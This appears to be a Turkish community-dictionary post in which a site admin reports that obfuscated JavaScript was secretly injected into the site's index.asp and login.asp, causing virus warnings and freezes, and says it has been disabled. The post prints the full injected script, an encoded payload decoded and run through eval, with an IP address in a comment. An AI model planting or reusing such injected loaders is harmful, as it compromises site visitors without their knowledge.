benim de ba$ima bugun geldi, ben de yeni farkettim.bir zamandir da kimi kullanicilarimiz tarafindan bu durum bildiriliyordu ancak benim ba$ima gelmedigi icin bahsi gecen kullanicilarin makinelerinde bir sorun oldugunu du$unuyordum.iki gun once de spooky’nin "sozluge giremiyorum, virus uyarisi veriyor sayfa engelleniyor" demesi de zaten iyice tuz biber oldu.
gelen $ikayetler $u $ekildeydi.
+sozluge giremiyoruz, virus uyarisi veriyor sayfa acilmiyor.
+$ifremi girmeye kalktigimda pc kilitleniyor, reset atmak zorunda kaliyorum.
bu $ikayetler uzerine yaptigim bir ara$tirma sonucu iki ayri asp dosyasinin icerisine $u kodlarin bilgim haricinde yerle$tirildigini gordum.
<noframes>
<body><script language=j a v a s c r i p t>function blzban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=array(63,25,34,17,14,30,23,19,6,49,0,0,0,0,0,0,41,2,46,
10,5,15,56,57,38,61,21,50,39,45,51,9,60,24,27,22,26,13,40,47,31,
37,3,0,0,0,0,1,0,59,62,0,20,4,28,43,48,55,36,53,7,11,44,33,32,52,58,12,29,42,16,54,18,35,8);for(j=math.ceil(l/b);j>0;j--){r=’’;for(i=math.min(l,b);i>0;i--,l--){{w|=(t[x.charcodeat(p++)-48])<<s;if(s){r+=string.fromcharcode
(223^w&255);w>>=8;s-=2}else{s=6}}}eval(r);}}blzban(’vtrnaamu9nrubbuunc4brarnr2egaamwucgb9btpvwumgu
aifebmgwuwkua09rgnrc4abt4w0ntgpc50ibruws
4phygwguarbbmg9lgbga0uhz4bqm@wg5rpmagu9baixraui8xgb8abhcaiw6wami
bawreifnbwhnmbqyx00yumabrm2nbau00mrtmbibufg0b0nbu@nugfiwgmnbrnbttg9arnrwxfyzwmgwuwkurffre’)</script><!-- 85.159.65.186 -->
noframe
scriptlerden anlayanlar bileceklerdir ki bu kodlar $ifrelenmi$ kodlardir.yani ne i$e yaradigi(kodlama anlaminda) yazanin kendisi haricinde cok kolay bir $ekilde anla$ilamaz.bu sebeple kodu cozmekten ziyade sonucunu ara$tirmaya ba$ladim ve kodun beni yonlendirmesine izin verdim.kar$ila$tigim sonuc ise kullaniciya zarar verecek tarzda bir $ey degildi.panama ciki$li sprit island isimli bir iss $irketinde bulunan bir makineye yonlendiriyor ve oradan sadece yuksek boyutlu bir muzik download etmeye yariyordu bu kodlar.mp3 un boyutu buyuk oldugundan ve ayni zamanda lgin.asp de ki kodlarlla ayni anda cali$mak istemesi sebebi ile caki$ma yaratiyor, bu sebeple de ya pc kilitleniyor ya da kullanici uzun uzun beklemek zorunda kaliyordu.
yaptigim incelemde iki index.asp ve login.asp de bu kodlara denk geldim ve ne boka yaradiklarini inceledikten sonra hemen kodlari etkisiz hale getirdim.yeniden soylemem gerekli ki bu kodlar makinenize hicbir zarar verecek turden $eyler degildi.her halukarda gerekli guvenlik onlemleri alindi.bundan sonra en azindan bu kodlarla alakali ba$iniz agrimayacak.
opt t$k bye.
neden bekliyorsun?
bu sözlük, duygu ve düşüncelerini özgürce paylaştığın bir platform, hislerini tercüme eden özgür bilgi kaynağıdır.
katkıda bulunmak istemez misin?